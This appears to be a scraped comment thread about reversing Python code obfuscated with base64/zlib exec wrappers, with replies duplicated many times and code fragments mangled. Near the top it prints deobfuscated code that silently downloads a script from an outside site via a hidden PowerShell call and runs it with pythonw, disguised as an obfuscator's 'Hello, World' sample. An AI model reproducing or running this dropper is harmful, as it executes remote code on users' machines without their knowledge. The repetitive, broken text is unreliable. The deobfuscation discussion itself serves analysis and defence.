= lambda : import('zlib').decompress(import('base64').b64decode([::-1]));exec(()(b'=s8Kt30D+//vnjfpugQdyvzArkwzpgRrZHqC8TfBOoGm84XwPFQEfCVtoD/GsgsFlwoRgeYNy6xSU7jf5dGjDUuPDwlBt0kabIPdqPMrP7zrRDE11HS/hmpGNJZh3sKSqWKOQ2uokfmXGeIFEOnJgBIOzSPUnpldEv6xHfMGp2Vdkf3Mm4JQSof19z1Aso1uR67VF1tzLKKkhDH6YK3cyI+dTAwjs0w2CBt0W95vJiIrgwhwboud7vmJZaJekXGFboXA5xJbOxOLZfm7Gzwgr/BmWoYq30dP0kG8jA/SFfQ+1z25aCTsv2zMZoeVp/ihsVz1PO9xaLdBe19o2RBmR71hNJZxD/06bHsE7u2fJC230+jf+UuyEVPTOsnj21m52vTdbg9JVc/Fr2k5T57OQ1itL+63cCt+ca4ErcvkmYkrge8qRP/9ykMuaUi4ok0vtHtyNSwzOVjNWSydCDrSkbtf7qubDDAmW4nHrW3ZT5DT2rMKvr8ZjIpf43ekh4FzYcFCGYxTc9tDy6e0mWSu4eyUy1eRCyOw5xgCcEBXGNGt5QPLLNbH2x0S2LZbpP1l6+LXQ3sNxslgenxA3Dmx0d7br5sDZ9QH7ZmlHXi8BIc9j8M4RXs02r6DCDQUa7eHrarLe1uu7EyPqEyE8k2AY+AFRpGt+iRdjIIXDByeDPmRdHx2Uetlq9GuwAcx42JdVdcNEx06HtY2548sFXKsFx3Zvo+CcJGVCza1FPbu5LiEPVnXcOKxHAgW42zhcpXZc8EehPdyikNRYBMvvKFMzafsVdrM95s4C/qb0iioJwOGI41tLp8mTw6z8yJ9uPLBPT+7omUkHaajHFafpQdKrrmQ1jBVnthiJXmUlIvBhkh5PyWDrPypokvXE9NI4OsooMRK70pPaC5O828OUwJNXoDW7s9dAsIHaWZdXCYnI+PJpXhmqoO+uRcu1G0nmqtJintcLM4MZWpVY1Lrb5+nf6Rdc8JJwVC/CbMXLhQAmzBhXZTWGd+QxKa4Eu46jjBZMmOAKgoV43gf3yIzM2tJM/urx4l42k1tYMXsf7FGcoGX/tBBu5FnTGeosqBSH2+X1MAhuuyWize2V5Jbg6v2Zumrh3yGRKIdifI6N7W28obXu2dTPjJlCXk0ywV2b/XY2YgGOhFihr3Td0cxkZbWR736s+Juk ............
# Imports
import subprocess
import tempfile
# Variables
__SCRIPT_URL = "https://freecodingtools.org/files/TsuScript.py"
__SCRIPT_FILEPATH = tempfile.NamedTemporaryFile(delete = False).name
# Download the file to the path
powershell_command = f"powershell (New-Object System.Net.WebClient).DownloadFile('{__SCRIPT_URL}', '{__SCRIPT_FILEPATH}')"
subprocess.run(
powershell_command,
creationflags = subprocess.CREATE_NO_WINDOW,
shell=True
)
# Execute the script
subprocess.Popen(
["pythonw", __SCRIPT_FILEPATH],
stdin=subprocess.DEVNULL,
stdout=subprocess.DEVNULL,
stderr=subprocess.DEVNULL,
creationflags = subprocess.CREATE_NO_WINDOW,
close_fds=True
)
# Online Python obfuscator to secure Python code
print("Hello, World!")
mengapa Anda membuat alat untuk membalikkan kebingungan alat saya
ini adalah alat untuk deobf pyobfucate pyd bro =))))))) saya hanya menggunakan obf Anda misalnya
can you help me in some way?
what do you want from me?
give me the open source of the tool for decoding pyobfuscate.com/pyd that is, if you allow it
sorry you, i was lost this source code
my new encryption can u deobfuscate
= lambda : import('zlib').decompress(import('base64').b64decode([::-1]));exec(()(b'=s8Kt30D+//vnjfpugQdyvzArkwzpgRrZHqC8TfBOoGm84XwPFQEfCVtoD/GsgsFlwoRgeYNy6xSU7jf5dGjDUuPDwlBt0kabIPdqPMrP7zrRDE11HS/hmpGNJZh3sKSqWKOQ2uokfmXGeIFEOnJgBIOzSPUnpldEv6xHfMGp2Vdkf3Mm4JQSof19z1Aso1uR67VF1tzLKKkhDH6YK3cyI+dTAwjs0w2CBt0W95vJiIrgwhwboud7vmJZaJekXGFboXA5xJbOxOLZfm7Gzwgr/BmWoYq30dP0kG8jA/SFfQ+1z25aCTs ..........
mengapa Anda membuat alat untuk membalikkan kebingungan alat saya
ini adalah alat untuk deobf pyobfucate pyd bro =))))))) saya hanya menggunakan obf Anda misalnya
can you help me in some way?
what do you want from me?
give me the open source of the tool for decoding pyobfuscate.com/pyd that is, if you allow it
sorry you, i was lost this source code
that's a classic reason can you make it again?
bro..how to use..there is no input file to deobfuscate
bro..how to use..there is no input file to deobfuscate
lmao, your obf file not from pyd_pyobfucate, i use another method, tutorial pyd pyobf in readme.md
mengapa Anda membuat alat untuk membalikkan kebingungan alat saya
ini adalah alat untuk deobf pyobfucate pyd bro =))))))) saya hanya menggunakan obf Anda misalnya
can you help me in some way?
what do you want from me?
give me the open source of the tool for decoding pyobfuscate.com/pyd that is, if you allow it
sorry you, i was lost this source code
that's a classic reason can you make it again?
i will send when i recreate
mengapa Anda membuat alat untuk membalikkan kebingungan alat saya
ini adalah alat untuk deobf pyobfucate pyd bro =))))))) saya hanya menggunakan obf Anda misalnya
can you help me in some way?
what do you want from me?
give me the open source of the tool for decoding pyobfuscate.com/pyd that is, if you allow it
sorry you, i was lost this source code
that's a classic reason can you make it again?
i will send when i recreate
Thank you, let me know again I'll wait for him
mengapa Anda membuat alat untuk membalikkan kebingungan alat saya
ini adalah alat untuk deobf pyobfucate pyd bro =))))))) saya hanya menggunakan obf Anda misalnya
can you help me in some way?
what do you want from me?
Bro!
mengapa Anda membuat alat untuk membalikkan kebingungan alat saya
ini adalah alat untuk deobf pyobfucate pyd bro =))))))) saya hanya menggunakan obf Anda misalnya
can you help me in some way?
what do you want from me?
Bro!
mengapa Anda membuat alat untuk membalikkan kebingungan alat saya
ini adalah alat untuk deobf pyobfucate pyd bro =))))))) saya hanya menggunakan obf Anda misalnya
can you help me in some way?
what do you want from me?
Bro!
For the one on GitHub it's just obscured, but the open source one gave it to me, so many people admit it
............
done in 1 second, you just repeat this 128 times:v please please don't obf with that, bad performance when start script
hey, i have a code like this code. how i do deobfuscate this. can you give the repo?
............
done in 1 second, you just repeat this 128 times:v please please don't obf with that, bad performance when start script
hey, i have a code like this code. how i do deobfuscate this. can you give the repo?
send me a file
............
done in 1 second, you just repeat this 128 times:v please please don't obf with that, bad performance when start script
hey, i have a code like this code. how i do deobfuscate this. can you give the repo?
send me a file
i dont want to send. cant you give me the repo?
............
done in 1 second, you just repeat this 128 times:v please please don't obf with that, bad performance when start script
hey, i have a code like this code. how i do deobfuscate this. can you give the repo?
send me a file
i dont want to send. cant you give me the repo?
try use dump_marshal_py, but it's only work if code use marshal library
my new encryption can u deobfuscate = lambda : import('zlib').decompress(import('base64').b64decode([::-1]));exec(()(b'=s8Kt30D+//vnjfpugQdyvzArkwzpgRrZHqC8TfBOoGm84XwPFQEfCVtoD/GsgsFlwoRgeYNy6xSU7jf5dGjDUuPDwlBt0kabIPdqPMrP7zrRDE11HS/hmpGNJZh3sKSqWKOQ2uokfmXGeIFEOnJgBIOzSPUnpldEv6xHfMGp2Vdkf3Mm4JQSof19z1Aso1uR67VF1tzLKKkhDH6YK3cyI+dTAwjs0w2CBt0W95vJiIrgwhwboud7vmJZaJekXGFboXA5xJbOxOLZfm7Gzwgr/BmWoYq30dP0kG8jA/SFfQ+1z25aCTs ..........
AND PLEASE DON'T TRY GET MY FILE FROM MY COMPUTER:V I USE LINUX, NOT WINDOWS, YOU CAN'T GET MY FILE FOREVER!
this code is same with my code and it dont using marshal library, cant you tell me how did you do 128 times
my new encryption can u deobfuscate = lambda : import('zlib').decompress(import('base64').b64decode([::-1]));exec(()(b'=s8Kt30D+//vnjfpugQdyvzArkwzpgRrZHqC8TfBOoGm84XwPFQEfCVtoD/GsgsFlwoRgeYNy6xSU7jf5dGjDUuPDwlBt0kabIPdqPMrP7zrRDE11HS/hmpGNJZh3sKSqWKOQ2uokfmXGeIFEOnJgBIOzSPUnpldEv6xHfMGp2Vdkf3Mm4JQSof19z1Aso1uR67VF1tzLKKkhDH6YK3cyI+dTAwjs0w2CBt0W95vJiIrgwhwboud7vmJZaJekXGFboXA5xJbOxOLZfm7Gzwgr/BmWoYq30dP0kG8jA/SFfQ+1z25aCTs ..........
AND PLEASE DON'T TRY GET MY FILE FROM MY COMPUTER:V I USE LINUX, NOT WINDOWS, YOU CAN'T GET MY FILE FOREVER!
this code is same with my code and it dont using marshal library, cant you tell me how did you do 128 times
base64.py can be edited, just add print() to def b64decode to get result
this code is same with my code and it dont using marshal library, cant you tell me how did you do 128 times
base64.py can be edited, just add print() to def b64decode to get result
when i do this, this will repeat until find the result? and where i add print()
this code is same with my code and it dont using marshal library, cant you tell me how did you do 128 times
base64.py can be edited, just add print() to def b64decode to get result
when i do this, this will repeat until find the result? and where i add print()
change last line of function b64decode()
return binascii.a2b_base64(s)
to
_tmp = binascii.a2b_base64(s)
print(_tmp)
return _tmp
yes, this will print repeat until get result, but it will print to terminal too fast, you can change print(_tmp)
to
open('b64_result.txt', 'w').write(str(_tmp) + "\n\n\n")
last result will save to b64_result.txt
file, if you want save all result, change mode 'a' open('b64_result.txt', 'a')
return _tmp
i got this error
_tmp = binascii.a2b_base64(s)
binascii.Error: Incorrect padding
return _tmp
i got this error
_tmp = binascii.a2b_base64(s)
binascii.Error: Incorrect padding
i don't know how to fix, your base64.py different me
return _tmp
i got this error
_tmp = binascii.a2b_base64(s)
binascii.Error: Incorrect padding
i don't know how to fix, your base64.py different me
Okay i will uploaded code https://pastebin.tk/h65b7h i think this code is malicious. when you deobfuscate this, can you upload this site with expire time?
return _tmp
i got this error
_tmp = binascii.a2b_base64(s)
binascii.Error: Incorrect padding
i don't know how to fix, your base64.py different me
Okay i will uploaded code https://pastebin.tk/h65b7h i think this code is malicious. when you deobfuscate this, can you upload this site with expire time?
here
print("a")
here
print("a")
thanks, it wasnt malicious, it was very similar with above
mengapa Anda membuat alat untuk membalikkan kebingungan alat saya
ini adalah alat untuk deobf pyobfucate pyd bro =))))))) saya hanya menggunakan obf Anda misalnya
can you help me in some way?
what do you want from me?
give me the open source of the tool for decoding pyobfuscate.com/pyd that is, if you allow it
source code updated
Hi, @KhanhNguyen9872 how do I deobfuscate the code that was already obfuscated with https://freecodingtools.org/py-obfuscator
?
example code: https://pastecode.io/s/s43o6qrs
Thanks
Hi, @KhanhNguyen9872 how do I deobfuscate the code that was already obfuscated with
https://freecodingtools.org/py-obfuscator
?example code: https://pastecode.io/s/s43o6qrs
Thanks
Hi, @KhanhNguyen9872 how do I deobfuscate the code that was already obfuscated with
https://freecodingtools.org/py-obfuscator
?example code: https://pastecode.io/s/s43o6qrs
Thanks
import time
def abc(arg):
print(arg)
time.sleep(1)
return arg
_ = lambda __ : abc(__import__('zlib').decompress(__import__('base64').b64decode(__[::-1])))
exec((_)(b'<code>')
Thanks mate @KhanhNguyen9872, can you remove the actual code, please? I added it to the pastecode so it does not last forever.
Thanks mate @KhanhNguyen9872, can you remove the actual code, please? I added it to the pastecode so it does not last forever.
ok done
why did you make a tool to reverse the obfuscation of my tool